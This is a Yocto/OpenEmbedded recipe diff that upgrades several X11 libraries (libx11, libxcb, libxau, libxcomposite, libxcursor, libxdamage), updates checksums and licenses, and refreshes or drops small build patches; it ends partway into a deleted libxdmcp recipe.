--- a/meta/recipes-graphics/xorg-lib/libx11-compose-data/0001-Drop-x11-dependencies.patch
+++ b/meta/recipes-graphics/xorg-lib/libx11-compose-data/0001-Drop-x11-dependencies.patch
@@ -6,12 +6,16 @@ Subject: [PATCH] Drop x11 dependencies
Upstream-Status: Inappropriate [OE-Specific]
Signed-off-by: Ming Liu <ming.liu@toradex.com>
+
+Rebase for version 1.8.3.
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
---
configure.ac | 44 --------------------------------------------
1 file changed, 44 deletions(-)
diff --git a/configure.ac b/configure.ac
-index a5fd706..b42488c 100644
+index 33d0102..50e2d93 100644
--- a/configure.ac
+++ b/configure.ac
@@ -76,27 +76,8 @@ fi
@@ -20,7 +24,7 @@ index a5fd706..b42488c 100644
# Checks for pkg-config packages
-
-# Always required
--X11_REQUIRES='xproto >= 7.0.17 xextproto xtrans xcb >= 1.11.1'
+-X11_REQUIRES='xproto >= 7.0.25 xextproto xtrans xcb >= 1.11.1'
-X11_EXTRA_DEPS="xcb >= 1.11.1"
-
PKG_PROG_PKG_CONFIG()
@@ -42,7 +46,7 @@ index a5fd706..b42488c 100644
# Check for dlopen
AC_MSG_CHECKING([if run-time linking is supported])
AC_SEARCH_LIBS(dlopen,[dl svld])
-@@ -237,30 +218,6 @@ AC_SUBST(XTHREAD_CFLAGS)
+@@ -255,30 +236,6 @@ AC_SUBST(USE_THREAD_LIBS)
AC_CHECK_FUNC(poll, [AC_DEFINE(USE_POLL, 1, [poll() function is available])], )
@@ -73,7 +77,7 @@ index a5fd706..b42488c 100644
AC_ARG_ENABLE(xcms,
AS_HELP_STRING([--disable-xcms],
[Disable Xlib support for CMS *EXPERIMENTAL*]),
-@@ -340,7 +297,6 @@ X11_LIBDIR="${libdir}/X11"
+@@ -358,7 +315,6 @@ X11_LIBDIR="${libdir}/X11"
AX_DEFINE_DIR(X11_LIBDIR, X11_LIBDIR, [Location of libX11 library data])
AC_SUBST(X11_LIBDIR)
diff --git a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
deleted file mode 100644
index 3d97ad78d2..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Xlib: Compose data files for libx11"
-DESCRIPTION = "This package provides the compose data files for libx11."
-
-python () {
- if bb.utils.contains('DISTRO_FEATURES', 'x11', True, False, d):
- raise bb.parse.SkipRecipe("libx11-compose-data is incompatible with x11 distro feature, use libx11 instead.")
-}
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
-
-SRC_URI[md5sum] = "c5fa5a86a20e3591bed6c046498d4b8f"
-SRC_URI[sha256sum] = "b289a845c189e251e0e884cc0f9269bbe97c238df3741e854ec4c17c21e473d5"
-
-SRC_URI += "file://0001-Drop-x11-dependencies.patch \
- file://libx11-whitespace.patch"
-
-XORG_PN = "libX11"
-
-EXTRA_OECONF += "--disable-xkb"
-
-PACKAGES = "${PN}"
-
-FILES_${PN} = "${datadir}/X11/locale ${libdir}/X11/locale"
-
-do_compile() {
- oe_runmake -C nls
-}
-
-do_install() {
- oe_runmake DESTDIR=${D} -C nls install
-}
-
-REQUIRED_DISTRO_FEATURES = ""
diff --git a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.8.4.bb b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.8.4.bb
new file mode 100644
index 0000000000..2131f46213
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.8.4.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Xlib: Compose data files for libx11"
+DESCRIPTION = "This package provides the compose data files for libx11."
+
+python () {
+ if bb.utils.contains('DISTRO_FEATURES', 'x11', True, False, d):
+ raise bb.parse.SkipRecipe("libx11-compose-data is incompatible with x11 distro feature, use libx11 instead.")
+}
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & BSD-1-Clause & HPND & HPND-sell-variant & ISC"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1d49cdd2b386c5db11ec636d680b7116"
+
+XORG_PN = "libX11"
+
+SRC_URI += "file://0001-Drop-x11-dependencies.patch \
+ "
+
+SRC_URI[sha256sum] = "c9a287a5aefa9804ce3cfafcf516fe96ed3f7e8e45c0e2ee59e84c86757df518"
+
+REQUIRED_DISTRO_FEATURES = ""
+
+EXTRA_OECONF += "--disable-xkb"
+
+do_compile() {
+ oe_runmake -C nls
+}
+
+do_install() {
+ oe_runmake DESTDIR=${D} -C nls install
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "${datadir}/X11/locale ${libdir}/X11/locale"
diff --git a/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch b/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch
deleted file mode 100644
index 2a723b7e43..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 5235a7f3692a4c3c90dd4ac1be3c670388904bbe Mon Sep 17 00:00:00 2001
-From: Tatu Frisk <tatu.frisk@ge.com>
-Date: Tue, 14 Mar 2017 14:41:27 +0200
-Subject: [PATCH] Fix hanging issue in _XReply
-
-Assume event queue is empty if another thread is blocking waiting for event.
-
-If one thread was blocking waiting for an event and another thread sent a
-reply to the X server, both threads got blocked until an event was
-received.
-
-Upstream-Status: Submitted [https://patchwork.freedesktop.org/patch/171458/]
-
-This patch needs to be removed once the corresponding patch has been merged upstream.
-
-https://patchwork.freedesktop.org/patch/171458/
-
-Signed-off-by: Tatu Frisk <tatu.frisk@ge.com>
-Signed-off-by: Jose Alarcon <jose.alarcon@ge.com>
-
-[Refreshed for 1.6.7 update]
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
----
- src/xcb_io.c | 19 +++++++------------
- 1 file changed, 7 insertions(+), 12 deletions(-)
-
-Index: libX11-1.6.7/src/xcb_io.c
-===================================================================
---- libX11-1.6.7.orig/src/xcb_io.c
-+++ libX11-1.6.7/src/xcb_io.c
-@@ -620,18 +620,14 @@ Status _XReply(Display *dpy, xReply *rep
- if(dpy->xcb->event_owner == XlibOwnsEventQueue)
- {
- xcb_generic_reply_t *event;
-- /* If some thread is already waiting for events,
-- * it will get the first one. That thread must
-- * process that event before we can continue. */
-- /* FIXME: That event might be after this reply,
-- * and might never even come--or there might be
-- * multiple threads trying to get events. */
-- while(dpy->xcb->event_waiter)
-- { /* need braces around ConditionWait */
-- ConditionWait(dpy, dpy->xcb->event_notify);
-- }
-- while((event = poll_for_event(dpy, True)))
-- handle_response(dpy, event, True);
-+
-+ /* Assume event queue is empty if another thread is blocking
-+ * waiting for event. */
-+ if(!dpy->xcb->event_waiter)
-+ {
-+ while((event = poll_for_response(dpy)))
-+ handle_response(dpy, event, True);
-+ }
- }
-
- req->reply_waiter = 0;
diff --git a/meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb b/meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb
deleted file mode 100644
index ff60a4240c..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Xlib: C Language X Interface library"
-
-DESCRIPTION = "This package provides a client interface to the X Window \
-System, otherwise known as 'Xlib'. It provides a complete API for the \
-basic functions of the window system."
-
-require xorg-lib-common.inc
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/libx11:"
-
-PE = "1"
-
-SRC_URI += "file://Fix-hanging-issue-in-_XReply.patch \
- file://disable_tests.patch \
- file://libx11-whitespace.patch"
-
-SRC_URI[md5sum] = "55adbfb6d4370ecac5e70598c4e7eed2"
-SRC_URI[sha256sum] = "9cc7e8d000d6193fa5af580d50d689380b8287052270f5bb26a5fb6b58b2bed1"
-
-PROVIDES = "virtual/libx11"
-
-XORG_PN = "libX11"
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
-
-DEPENDS += "xorgproto xtrans libxcb"
-DEPENDS += "xorgproto-native"
-
-EXTRA_OECONF += "--with-keysymdefdir=${STAGING_INCDIR}/X11/ --disable-xf86bigfont"
-EXTRA_OEMAKE += 'CWARNFLAGS=""'
-
-PACKAGECONFIG ??= "xcms"
-PACKAGECONFIG[xcms] = "--enable-xcms,--disable-xcms"
-
-# src/util/makekeys is built natively but needs -D_GNU_SOURCE defined.
-CPPFLAGS_FOR_BUILD += "-D_GNU_SOURCE"
-
-PACKAGES =+ "${PN}-xcb"
-
-inherit gettext
-
-FILES_${PN} += "${datadir}/X11/XKeysymDB ${datadir}/X11/XErrorDB ${datadir}/X11/Xcms.txt"
-FILES_${PN}-xcb += "${libdir}/libX11-xcb.so.*"
-FILES_${PN}-locale += "${datadir}/X11/locale ${libdir}/X11/locale"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libx11_1.8.9.bb b/meta/recipes-graphics/xorg-lib/libx11_1.8.9.bb
new file mode 100644
index 0000000000..5dcb063473
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libx11_1.8.9.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Xlib: C Language X Interface library"
+
+DESCRIPTION = "This package provides a client interface to the X Window \
+System, otherwise known as 'Xlib'. It provides a complete API for the \
+basic functions of the window system."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & BSD-1-Clause & HPND & HPND-sell-variant & ISC"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1d49cdd2b386c5db11ec636d680b7116"
+
+DEPENDS += "xorgproto \
+ xtrans \
+ libxcb \
+ xorgproto-native \
+ autoconf-archive-native \
+ "
+
+PROVIDES = "virtual/libx11"
+
+PE = "1"
+
+XORG_PN = "libX11"
+
+SRC_URI += "file://disable_tests.patch"
+
+SRC_URI[sha256sum] = "779d8f111d144ef93e2daa5f23a762ce9555affc99592844e71c4243d3bd3262"
+
+inherit gettext
+
+EXTRA_OECONF += "--with-keysymdefdir=${STAGING_INCDIR}/X11/ --disable-xf86bigfont"
+EXTRA_OEMAKE += 'CWARNFLAGS=""'
+
+PACKAGECONFIG ??= "xcms"
+PACKAGECONFIG[xcms] = "--enable-xcms,--disable-xcms"
+
+PACKAGES =+ "${PN}-xcb"
+
+FILES:${PN} += "${datadir}/X11/XKeysymDB ${datadir}/X11/XErrorDB ${datadir}/X11/Xcms.txt"
+FILES:${PN}-xcb += "${libdir}/libX11-xcb.so.*"
+FILES:${PN}-locale += "${datadir}/X11/locale ${libdir}/X11/locale"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxau_1.0.11.bb b/meta/recipes-graphics/xorg-lib/libxau_1.0.11.bb
new file mode 100644
index 0000000000..f1b492c39f
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxau_1.0.11.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Xau: X Authority Database library"
+
+DESCRIPTION = "libxau provides the main interfaces to the X11 \
+authorisation handling, which controls authorisation for X connections, \
+both client-side and server-side."
+
+require xorg-lib-common.inc
+
+inherit gettext
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7908e342491198401321cec1956807ec"
+
+DEPENDS += " xorgproto"
+PROVIDES = "xau"
+
+PE = "1"
+
+XORG_PN = "libXau"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "f3fa3282f5570c3f6bd620244438dbfbdd580fc80f02f549587a0f8ab329bbeb"
diff --git a/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb b/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb
deleted file mode 100644
index dcfc66652a..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "Xau: X Authority Database library"
-
-DESCRIPTION = "libxau provides the main interfaces to the X11 \
-authorisation handling, which controls authorisation for X connections, \
-both client-side and server-side."
-
-require xorg-lib-common.inc
-
-inherit gettext
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7908e342491198401321cec1956807ec"
-
-DEPENDS += " xorgproto"
-PROVIDES = "xau"
-
-PE = "1"
-
-XORG_PN = "libXau"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "c5f16288f2da9f071b29111d68797480"
-SRC_URI[sha256sum] = "ccf8cbf0dbf676faa2ea0a6d64bcc3b6746064722b606c8c52917ed00dcb73ec"
diff --git a/meta/recipes-graphics/xorg-lib/libxcb/0001-use-_Alignof-to-avoid-UB-in-ALIGNOF.patch b/meta/recipes-graphics/xorg-lib/libxcb/0001-use-_Alignof-to-avoid-UB-in-ALIGNOF.patch
new file mode 100644
index 0000000000..5b159d646d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcb/0001-use-_Alignof-to-avoid-UB-in-ALIGNOF.patch
@@ -0,0 +1,45 @@
+From d55b6b1fa87700f3eae3a29522972d2e7be7d53e Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 14 Jan 2023 10:11:35 -0800
+Subject: [PATCH] use _Alignof to avoid UB in ALIGNOF
+
+WG14 N2350 clearly says that it is an UB having type definitions
+within "offsetof" [1]. Clang 16+ has started diagnosing it [2].
+This patch changes the implementation of macro
+"ALIGNOF" to builtin "_Alignof" to avoid undefined behavior.
+
+_Alignof() return the ABI required minimum alignment.
+
+[1] https://www.open-std.org/jtc1/sc22/wg14/www/docs/n2350.htm
+[2] https://reviews.llvm.org/D133574
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/lib/libxcb/-/merge_requests/42]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/c_client.py | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/src/c_client.py b/src/c_client.py
+index fd256f0..4e48f13 100644
+--- a/src/c_client.py
++++ b/src/c_client.py
+@@ -288,7 +288,6 @@ def c_open(self):
+ _c('#include "%s.h"', _ns.header)
+
+ _c('')
+- _c('#define ALIGNOF(type) offsetof(struct { char dummy; type member; }, member)')
+
+ if _ns.is_ext:
+ for (n, h) in self.direct_imports:
+@@ -1266,7 +1265,7 @@ def _c_serialize_helper_fields(context, self,
+ count += 1
+
+ code_lines.append(
+- '%s xcb_align_to = ALIGNOF(%s);'
++ '%s xcb_align_to = _Alignof(%s);'
+ % (space,
+ 'char'
+ if field.c_field_type == 'void' or field.type.is_switch
+--
+2.39.0
+
diff --git a/meta/recipes-graphics/xorg-lib/libxcb/disable-check.patch b/meta/recipes-graphics/xorg-lib/libxcb/disable-check.patch
deleted file mode 100644
index c0efbdc213..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcb/disable-check.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-The "check" package is checked for without an explicit enable/disable option,
-which can lead to non-deterministic build issues with both check and libxslt.
-
-As the unit test suite is minimal at present, simply disable the test suite. In
-the future if the test suite is expanded this can be made conditional on the
-ptest DISTRO_FEATURE.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-
-Index: libxcb-1.12/configure.ac
-===================================================================
---- libxcb-1.12.orig/configure.ac
-+++ libxcb-1.12/configure.ac
-@@ -36,7 +36,8 @@ if test x"$HAVE_DOT" = xno; then
- AC_MSG_WARN([dot not found - doxygen targets will be skipped])
- fi
-
--PKG_CHECK_MODULES(CHECK, [check >= 0.9.4], [HAVE_CHECK=yes], [HAVE_CHECK=no])
-+dnl PKG_CHECK_MODULES(CHECK, [check >= 0.9.4], [HAVE_CHECK=yes], [HAVE_CHECK=no])
-+HAVE_CHECK=no
- AM_CONDITIONAL(HAVE_CHECK, test x$HAVE_CHECK = xyes)
-
- XSLTPROC=no
diff --git a/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb b/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
deleted file mode 100644
index f27c5daa61..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "XCB: The X protocol C binding library"
-DESCRIPTION = "The X protocol C-language Binding (XCB) is a replacement \
-for Xlib featuring a small footprint, latency hiding, direct access to \
-the protocol, improved threading support, and extensibility."
-HOMEPAGE = "http://xcb.freedesktop.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
-SECTION = "x11/libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7"
-
-SRC_URI = "http://xcb.freedesktop.org/dist/libxcb-${PV}.tar.xz \
- file://disable-check.patch \
- "
-
-SRC_URI[sha256sum] = "a55ed6db98d43469801262d81dc2572ed124edc3db31059d4e9916eb9f844c34"
-
-BBCLASSEXTEND = "native nativesdk"
-
-DEPENDS = "xcb-proto xorgproto libxau libpthread-stubs libxdmcp"
-
-PACKAGES_DYNAMIC = "^libxcb-.*"
-
-FILES_${PN} = "${libdir}/libxcb.so.*"
-
-inherit autotools pkgconfig features_check
-
-# The libxau and others requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-export PYTHON = "python3"
-
-python populate_packages_prepend () {
- do_split_packages(d, '${libdir}', r'^libxcb-(.*)\.so\..*$', 'libxcb-%s', 'XCB library module for %s', allow_links=True)
-}
diff --git a/meta/recipes-graphics/xorg-lib/libxcb_1.16.1.bb b/meta/recipes-graphics/xorg-lib/libxcb_1.16.1.bb
new file mode 100644
index 0000000000..de3290aa9f
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcb_1.16.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "XCB: The X protocol C binding library"
+DESCRIPTION = "The X protocol C-language Binding (XCB) is a replacement \
+for Xlib featuring a small footprint, latency hiding, direct access to \
+the protocol, improved threading support, and extensibility."
+HOMEPAGE = "http://xcb.freedesktop.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
+SECTION = "x11/libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7"
+
+SRC_URI = "http://xcb.freedesktop.org/dist/libxcb-${PV}.tar.xz \
+ file://0001-use-_Alignof-to-avoid-UB-in-ALIGNOF.patch"
+
+SRC_URI[sha256sum] = "f24d187154c8e027b358fc7cb6588e35e33e6a92f11c668fe77396a7ae66e311"
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS = "xcb-proto xorgproto libxau libpthread-stubs libxdmcp"
+
+PACKAGES_DYNAMIC = "^${PN}-.*"
+
+FILES:${PN} = "${libdir}/libxcb.so.*"
+
+inherit autotools pkgconfig features_check
+
+# The libxau and others requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+export PYTHON = "python3"
+
+do_install:append () {
+ chown root.root ${D}${datadir}/doc/${BPN}/tutorial -R
+}
+
+python populate_packages:prepend () {
+ do_split_packages(d, '${libdir}', r'^libxcb-(.*)\.so\..*$', '${PN}-%s', 'XCB library module for %s', allow_links=True)
+}
diff --git a/meta/recipes-graphics/xorg-lib/libxcomposite/change-include-order.patch b/meta/recipes-graphics/xorg-lib/libxcomposite/change-include-order.patch
deleted file mode 100644
index 60331f6e78..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcomposite/change-include-order.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-This patch makes the build use its own Xcomposite.h over rather than an
-older Xcomposite.h that might already be installed in the staging dir.
-
-Index: libXcomposite-0.4.3/src/Makefile.am
-===================================================================
---- libXcomposite-0.4.3.orig/src/Makefile.am 2010-06-30 22:42:53.000000000 -0700
-+++ libXcomposite-0.4.3/src/Makefile.am 2010-11-23 23:09:34.544322930 -0800
-@@ -19,7 +19,7 @@
- # TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- # PERFORMANCE OF THIS SOFTWARE.
-
--AM_CFLAGS = $(CWARNFLAGS) $(XCOMPOSITE_CFLAGS) $(XFIXES_CFLAGS)
-+AM_CFLAGS = -I$(top_srcdir)/include $(CWARNFLAGS) $(XCOMPOSITE_CFLAGS) $(XFIXES_CFLAGS)
- AM_CPPFLAGS = -I$(top_srcdir)/include
-
- lib_LTLIBRARIES = libXcomposite.la
diff --git a/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb b/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb
deleted file mode 100644
index 3ef3ddb817..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Xcomposite: X Composite extension library"
-
-DESCRIPTION = "The composite extension provides three related \
-mechanisms: per-hierarchy storage, automatic shadow update, and external \
-parent. In per-hierarchy storage, the rendering of an entire hierarchy \
-of windows is redirected to off-screen storage. In automatic shadow \
-update, when a hierarchy is rendered off-screen, the X server provides \
-an automatic mechanism for presenting those contents within the parent \
-window. In external parent, a mechanism for providing redirection of \
-compositing transformations through a client."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3f2907aad541f6f226fbc58cc1b3cdf1"
-
-DEPENDS += " xorgproto virtual/libx11 libxfixes libxext"
-PROVIDES = "xcomposite"
-BBCLASSEXTEND = "native nativesdk"
-
-PE = "1"
-
-XORG_PN = "libXcomposite"
-
-SRC_URI += " file://change-include-order.patch"
-
-SRC_URI[md5sum] = "3fa0841ea89024719b20cd702a9b54e0"
-SRC_URI[sha256sum] = "b3218a2c15bab8035d16810df5b8251ffc7132ff3aa70651a1fba0bfe9634e8f"
diff --git a/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.6.bb b/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.6.bb
new file mode 100644
index 0000000000..881f579695
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.6.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Xcomposite: X Composite extension library"
+
+DESCRIPTION = "The composite extension provides three related \
+mechanisms: per-hierarchy storage, automatic shadow update, and external \
+parent. In per-hierarchy storage, the rendering of an entire hierarchy \
+of windows is redirected to off-screen storage. In automatic shadow \
+update, when a hierarchy is rendered off-screen, the X server provides \
+an automatic mechanism for presenting those contents within the parent \
+window. In external parent, a mechanism for providing redirection of \
+compositing transformations through a client."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3f2907aad541f6f226fbc58cc1b3cdf1"
+
+DEPENDS += " xorgproto virtual/libx11 libxfixes libxext"
+PROVIDES = "xcomposite"
+BBCLASSEXTEND = "native nativesdk"
+
+PE = "1"
+
+XORG_PN = "libXcomposite"
+
+SRC_URI[sha256sum] = "fe40bcf0ae1a09070eba24088a5eb9810efe57453779ec1e20a55080c6dc2c87"
diff --git a/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb
deleted file mode 100644
index 2df7a3a4f2..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Xcursor: X Cursor management library"
-
-DESCRIPTION = "Xcursor is a simple library designed to help locate and \
-load cursors. Cursors can be loaded from files or memory. A library of \
-common cursors exists which map to the standard X cursor names. Cursors \
-can exist in several sizes and the library automatically picks the best \
-size."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8902e6643f7bcd7793b23dcd5d8031a4"
-
-DEPENDS += "libxrender libxfixes"
-
-PE = "1"
-
-XORG_PN = "libXcursor"
-
-SRC_URI[md5sum] = "9b9be0e289130fb820aedf67705fc549"
-SRC_URI[sha256sum] = "3ad3e9f8251094af6fe8cb4afcf63e28df504d46bfa5a5529db74a505d628782"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxcursor_1.2.2.bb b/meta/recipes-graphics/xorg-lib/libxcursor_1.2.2.bb
new file mode 100644
index 0000000000..159ac4f7fa
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcursor_1.2.2.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Xcursor: X Cursor management library"
+
+DESCRIPTION = "Xcursor is a simple library designed to help locate and \
+load cursors. Cursors can be loaded from files or memory. A library of \
+common cursors exists which map to the standard X cursor names. Cursors \
+can exist in several sizes and the library automatically picks the best \
+size."
+
+require xorg-lib-common.inc
+SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.tar.xz"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=dbf3bd0f2348eeccd0f217146ba26250"
+
+DEPENDS += "libxrender libxfixes"
+
+PE = "1"
+
+XORG_PN = "libXcursor"
+
+SRC_URI[sha256sum] = "53d071bd2cc56e517a30998d5e685c8a74556ddada43c6985d14da9a023a88ee"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxcvt_0.1.2.bb b/meta/recipes-graphics/xorg-lib/libxcvt_0.1.2.bb
new file mode 100644
index 0000000000..e62fabdf58
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcvt_0.1.2.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Library providing a standalone version of the X server \
+implementation of the VESA CVT standard timing modelines generator"
+HOMEPAGE = "https://gitlab.freedesktop.org/xorg/lib/libxcvt"
+BUGTRACKER = "https://gitlab.freedesktop.org/xorg/lib/libxcvt/-/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=129947a06984d6faa6f9a9788fa2a03f"
+SECTION = "x11/libs"
+
+SRC_URI = "git://gitlab.freedesktop.org/xorg/lib/libxcvt.git;protocol=https;branch=master"
+SRCREV = "d9ca87eea9eecddaccc3a77227bcb3acf84e89df"
+
+S = "${WORKDIR}/git"
+
+inherit meson
+
+FILES:${PN} = " \
+ ${libdir}/libxcvt.so.0* \
+ ${bindir}/cvt \
+"
diff --git a/meta/recipes-graphics/xorg-lib/libxdamage_1.1.5.bb b/meta/recipes-graphics/xorg-lib/libxdamage_1.1.5.bb
deleted file mode 100644
index b201124d86..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxdamage_1.1.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Xdamage: X Damage extension library"
-
-DESCRIPTION = "'Damage' is a term that describes changes make to pixel \
-contents of windows and pixmaps. Damage accumulates as drawing occurs \
-in the drawable. Each drawing operation 'damages' one or more \
-rectangular areas within the drawable. The rectangles are guaranteed to \
-include the set of pixels modified by each operation, but may include \
-significantly more than just those pixels. The DAMAGE extension allows \
-applications to either receive the raw rectangles as a stream of events, \
-or to have them partially processed within the X server to reduce the \
-amount of data transmitted as well as reduce the processing latency once \
-the repaint operation has started."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=9fe101f30dd24134cf43146863241868"
-
-DEPENDS += "virtual/libx11 xorgproto libxfixes"
-PROVIDES = "xdamage"
-
-PE = "1"
-
-XORG_PN = "libXdamage"
-
-SRC_URI[md5sum] = "e3f554267a7a04b042dc1f6352bd6d99"
-SRC_URI[sha256sum] = "b734068643cac3b5f3d2c8279dd366b5bf28c7219d9e9d8717e1383995e0ea45"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxdamage_1.1.6.bb b/meta/recipes-graphics/xorg-lib/libxdamage_1.1.6.bb
new file mode 100644
index 0000000000..279d6c33dc
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxdamage_1.1.6.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Xdamage: X Damage extension library"
+
+DESCRIPTION = "'Damage' is a term that describes changes make to pixel \
+contents of windows and pixmaps. Damage accumulates as drawing occurs \
+in the drawable. Each drawing operation 'damages' one or more \
+rectangular areas within the drawable. The rectangles are guaranteed to \
+include the set of pixels modified by each operation, but may include \
+significantly more than just those pixels. The DAMAGE extension allows \
+applications to either receive the raw rectangles as a stream of events, \
+or to have them partially processed within the X server to reduce the \
+amount of data transmitted as well as reduce the processing latency once \
+the repaint operation has started."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=9fe101f30dd24134cf43146863241868"
+
+DEPENDS += "virtual/libx11 xorgproto libxfixes"
+PROVIDES = "xdamage"
+
+PE = "1"
+
+XORG_PN = "libXdamage"
+
+SRC_URI[sha256sum] = "52733c1f5262fca35f64e7d5060c6fcd81a880ba8e1e65c9621cf0727afb5d11"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb b/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb
deleted file mode 100644
index d43a146fd7..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "XDMCP: X Display Manager Control Protocol library"
-
